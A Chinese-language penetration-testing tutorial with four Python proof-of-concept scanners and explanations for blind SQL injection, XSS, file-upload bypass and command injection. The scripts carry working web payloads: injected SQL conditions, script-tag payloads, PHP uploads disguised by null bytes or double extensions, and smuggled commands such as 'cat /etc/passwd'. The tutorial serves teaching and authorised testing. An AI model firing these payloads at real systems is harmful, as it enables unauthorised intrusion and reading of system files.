在渗透测试中,如何利用漏洞很重要,那么知道漏洞的原理也是同样重要,这里的原理不是说一句话概括的那种原理,而是能够通过代码来构造漏洞的POC,这样才能真正理解漏洞的内在原理。那么这里我们先来对Web漏洞进行详细的原理分析。
目录
[1. SQL 注入(布尔盲注)POC](#1. SQL 注入(布尔盲注)POC)
[2. XSS 跨站脚本漏洞 POC](#2. XSS 跨站脚本漏洞 POC)
[3. 文件上传漏洞 POC](#3. 文件上传漏洞 POC)
[4. 命令注入漏洞 POC](#4. 命令注入漏洞 POC)
1. SQL 注入(布尔盲注)POC
SQL 注入是由于 Web 应用程序对用户输入数据的合法性没有进行严格的判断,导致攻击者可以通过构造特殊的输入来篡改 SQL 语句,从而实现对数据库的非法操作。在SQL注入中可以分为有回显和没有回显,这里我们讲解盲注,就是没有回显的,这里讲布尔盲注
python
import requests
import argparse
import time
def check_sql_injection(url):
"""
检测目标URL是否存在SQL布尔盲注漏洞
原理:通过发送两个不同的payload,比较响应差异判断是否存在注入
"""
# 构造测试payload
# payload1应该返回正常页面,payload2应该返回异常页面
payload_true = "/index.php?id=1' AND 1=1--+" # 条件为真的注入语句
payload_false = "/index.php?id=1' AND 1=2--+" # 条件为假的注入语句
try:
start_time = time.time()
response_true = requests.get(
url + payload_true,
timeout=10,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
)
time_true = time.time() - start_time
start_time = time.time()
response_false = requests.get(
url + payload_false,
timeout=10,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
)
time_false = time.time() - start_time
status_diff = response_true.status_code != response_false.status_code
len_diff = abs(len(response_true.text) - len(response_false.text)) > 50
time_diff = abs(time_true - time_false) > 1
# 4. 特定关键词差异
keyword_in_true = "Welcome" in response_true.text # 假设正常页面包含"Welcome"
keyword_in_false = "Welcome" in response_false.text
keyword_diff = keyword_in_true != keyword_in_false
# 判断是否存在注入
if status_diff or len_diff or time_diff or keyword_diff:
print(f"[+] 发现可能的SQL布尔盲注漏洞: {url}")
print(f" 状态码差异: {status_diff}")
print(f" 内容长度差异: {len_diff}")
print(f" 响应时间差异: {time_diff}")
print(f" 关键词差异: {keyword_diff}")
return True
else:
print(f"[-] 未检测到SQL布尔盲注漏洞: {url}")
return False
except requests.exceptions.RequestException as e:
print(f"[!] 请求错误: {str(e)}")
return False
if __name__ == "__main__":
# 解析命令行参数
parser = argparse.ArgumentParser(description="SQL布尔盲注漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL(例如:http://example.com)")
args = parser.parse_args()
# 执行检测
check_sql_injection(args.url)
代码分析:
-
漏洞原理:SQL 布尔盲注利用了 SQL 语句执行结果会影响页面返回内容的特点,通过构造条件为真和条件为假的两个请求,比较它们的响应差异来判断是否存在注入点。
-
核心函数 :
check_sql_injection(url)实现了主要检测逻辑:- 构造了两个 payload:
payload_true(条件为真)和payload_false(条件为假) - 分别发送请求并记录响应信息
- 通过多维度比较响应差异来判断是否存在漏洞
- 构造了两个 payload:
-
多方面检测:
- 状态码差异:正常和异常请求返回的 HTTP 状态码不同
- 内容长度差异:页面内容长度变化超过阈值
- 响应时间差异:某些注入会导致数据库执行时间不同
- 关键词差异:特定关键词在两种情况下出现与否的变化
2. XSS 跨站脚本漏洞 POC
XSS 漏洞允许攻击者在网页中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会被执行,从而达到窃取 cookie、会话劫持等目的。XSS也有三种类型,反射型、存储型、DOM型,xss漏洞都是需要进行构造恶意脚本,那么我们就可以检验其中的关键词,比如说script,alert,onclick,svg等关键词,来进行判断
python
import requests
import argparse
import re
def check_xss(url, param):
"""
检测目标URL是否存在XSS漏洞
原理:注入特殊构造的JavaScript代码,检查是否被原样执行
"""
# 常用XSS测试payload
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"';alert('XSS');//",
"<iframe src=javascript:alert('XSS')>",
]
patterns = [
re.escape("<script>alert('XSS')</script>"),
re.escape("<img src=x onerror=alert('XSS')>"),
re.escape("<svg onload=alert('XSS')>"),
re.escape("';alert('XSS');//"),
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
vulnerable = False
for payload in xss_payloads:
try:
params = {param: payload}
response = requests.get(url, params=params, headers=headers, timeout=10)
for pattern in patterns:
if re.search(pattern, response.text):
print(f"[+] 发现可能的XSS漏洞!")
print(f" URL: {url}")
print(f" 参数: {param}")
print(f" 有效Payload: {payload}")
vulnerable = True
break
if vulnerable:
break
except requests.exceptions.RequestException as e:
print(f"[!] 请求错误: {str(e)}")
continue
if not vulnerable:
print(f"[-] 未检测到XSS漏洞")
return False
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="XSS漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL(例如:http://example.com/search)")
parser.add_argument("-p", "--param", required=True, help="要测试的参数名(例如:q)")
args = parser.parse_args()
check_xss(args.url, args.param)
代码分析:
-
漏洞原理:XSS 漏洞产生的原因是 Web 应用程序没有对用户输入进行适当的过滤和转义,导致攻击者可以注入恶意 JavaScript 代码,这些代码会被浏览器执行。
-
核心函数 :
check_xss(url, param)实现了 XSS 检测:- 定义了多种常见的 XSS 测试 payload,覆盖不同的注入场景
- 向目标 URL 的指定参数注入 payload
- 检查响应中是否包含未被过滤的 payload
-
检测:
- 针对不同的 XSS 类型(反射型、存储型基础检测)使用不同 payload
- 通过正则表达式检查响应中是否存在未被过滤的 payload
- 一旦发现有效 payload,立即报告漏洞
3. 文件上传漏洞 POC
文件上传漏洞是指 Web 应用程序在处理文件上传功能时,没有对上传的文件类型、内容进行严格验证,导致攻击者可以上传恶意文件(如 PHP 脚本)到服务器并执行。
python
import requests
import argparse
import os
def check_file_upload(url, upload_endpoint):
"""
检测目标是否存在文件上传漏洞
原理:尝试上传不同类型的恶意文件,检查是否上传成功
"""
# 构造完整的上传URL
upload_url = f"{url}/{upload_endpoint}" if url.endswith('/') else f"{url}/{upload_endpoint}"
php_shell = "<?php echo 'VULNERABLE'; ?>".encode()
php_shell_renamed = "<?php echo 'VULNERABLE'; ?>".encode()
test_cases = [
# 正常PHP文件
{
"filename": "test.php",
"content": php_shell,
"content_type": "application/x-php",
"description": "标准PHP文件"
},
# 伪装成图片的PHP文件
{
"filename": "test.jpg",
"content": php_shell,
"content_type": "image/jpeg",
"description": "伪装成JPG的PHP文件"
},
# 使用双扩展名
{
"filename": "test.php.jpg",
"content": php_shell,
"content_type": "image/jpeg",
"description": "双扩展名文件"
},
# 使用特殊字符绕过
{
"filename": "test.php%00.jpg",
"content": php_shell,
"content_type": "image/jpeg",
"description": "包含NULL字节的文件"
},
# 使用Windows特性绕过
{
"filename": "test.php ", # 末尾有空格
"content": php_shell,
"content_type": "image/jpeg",
"description": "末尾带空格的文件"
}
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
vulnerable = False
for case in test_cases:
try:
# 构造文件上传数据
files = {
'file': (case["filename"], case["content"], case["content_type"])
}
# 发送文件上传请求
response = requests.post(
upload_url,
files=files,
headers=headers,
timeout=15
)
if "上传成功" in response.text or "success" in response.text.lower():
print(f"[+] 可能存在文件上传漏洞!")
print(f" 测试用例: {case['description']}")
print(f" 文件名: {case['filename']}")
print(f" 响应状态: {response.status_code}")
# 尝试访问上传的文件(假设上传路径可预测)
file_url = f"{url}/uploads/{case['filename']}"
try:
file_response = requests.get(file_url, headers=headers, timeout=10)
if "VULNERABLE" in file_response.text:
print(f"[!] 严重漏洞: 上传的恶意文件可以被执行!")
print(f" 文件URL: {file_url}")
except:
pass
vulnerable = True
except requests.exceptions.RequestException as e:
print(f"[!] 请求错误 ({case['description']}): {str(e)}")
continue
if not vulnerable:
print(f"[-] 未检测到文件上传漏洞")
return False
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="文件上传漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标网站基础URL(例如:http://example.com)")
parser.add_argument("-e", "--endpoint", required=True, help="上传功能端点(例如:upload.php)")
args = parser.parse_args()
check_file_upload(args.url, args.endpoint)
代码分析:
-
漏洞原理:文件上传漏洞通常由于服务器没有正确验证文件类型、扩展名或内容,导致攻击者可以上传恶意脚本文件并在服务器上执行。
-
核心函数 :
check_file_upload(url, upload_endpoint)实现了文件上传漏洞检测:- 准备了多种测试用例,模拟不同的绕过方式
- 向目标上传端点发送包含恶意内容的文件
- 检查上传是否成功,并尝试访问上传的文件验证是否可执行
-
检测:
- 使用多种文件名和内容类型组合进行测试
- 检查服务器返回的成功信息
- 尝试访问上传的文件,验证是否可以执行其中的代码
-
测试绕过:
- 伪装文件类型(修改 Content-Type)
- 使用双扩展名(如.php.jpg)
- 利用 NULL 字节截断(%00)
- 利用操作系统特性(如文件名后加空格)
4. 命令注入漏洞 POC
命令注入漏洞允许攻击者在服务器上执行任意操作系统命令,通常由于应用程序将用户输入直接传递给系统命令执行函数而没有适当过滤。
python
import requests
import argparse
import re
def check_command_injection(url, param):
"""
检测目标是否存在命令注入漏洞
原理:尝试注入系统命令,检查命令执行结果
"""
# 命令注入测试payload
payloads = [
# Linux命令注入测试
f"{param}=127.0.0.1;ls",
f"{param}=127.0.0.1|ls",
f"{param}=127.0.0.1&&ls",
f"{param}=127.0.0.1||ls",
f"{param}=127.0.0.1;cat /etc/passwd",
f"{param}=127.0.0.1|cat /etc/passwd",
# Windows命令注入测试
f"{param}=127.0.0.1&dir",
f"{param}=127.0.0.1|dir",
f"{param}=127.0.0.1&&dir",
f"{param}=127.0.0.1||dir",
]
linux_indicators = [
re.compile(r"root:.*:0:0:"), # /etc/passwd中的root条目
re.compile(r"bin/bash"),
re.compile(r"var|etc|usr") # 常见Linux目录
]
windows_indicators = [
re.compile(r"Program Files"),
re.compile(r"Windows"),
re.compile(r"Users") # 常见Windows目录
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
vulnerable = False
for payload in payloads:
try:
# 构造包含payload的URL
target_url = f"{url}?{payload}" if '?' not in url else f"{url}&{payload}"
# 发送请求
response = requests.get(target_url, headers=headers, timeout=15)
is_linux_vuln = any(indicator.search(response.text) for indicator in linux_indicators)
is_windows_vuln = any(indicator.search(response.text) for indicator in windows_indicators)
if is_linux_vuln or is_windows_vuln:
print(f"[+] 发现可能的命令注入漏洞!")
print(f" 测试URL: {target_url}")
print(f" 操作系统类型: {'Linux' if is_linux_vuln else 'Windows'}")
print(f" 响应状态码: {response.status_code}")
vulnerable = True
break
except requests.exceptions.RequestException as e:
print(f"[!] 请求错误 ({payload}): {str(e)}")
continue
if not vulnerable:
print(f"[-] 未检测到命令注入漏洞")
return False
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="命令注入漏洞检测工具")
parser.add_argument("-u", "--url", required=True, help="目标URL(例如:http://example.com/ping)")
parser.add_argument("-p", "--param", required=True, help="要测试的参数名(例如:ip)")
args = parser.parse_args()
check_command_injection(args.url, args.param)
代码分析:
-
漏洞原理:命令注入漏洞通常出现在需要调用系统命令的功能中(如 ping、traceroute 等),当应用程序直接将用户输入拼接到系统命令中并执行时,攻击者可以注入恶意命令。
-
核心函数 :
check_command_injection(url, param)实现了命令注入检测:- 准备了针对 Linux 和 Windows 系统的多种命令注入 payload
- 向目标 URL 的指定参数注入命令
- 检查响应中是否包含命令执行的特征
-
检测:
- 使用不同的命令分隔符(;、|、&&、|| 等)测试
- 执行系统特征命令(ls、dir、cat /etc/passwd 等)
- 通过正则表达式检测命令执行结果的特征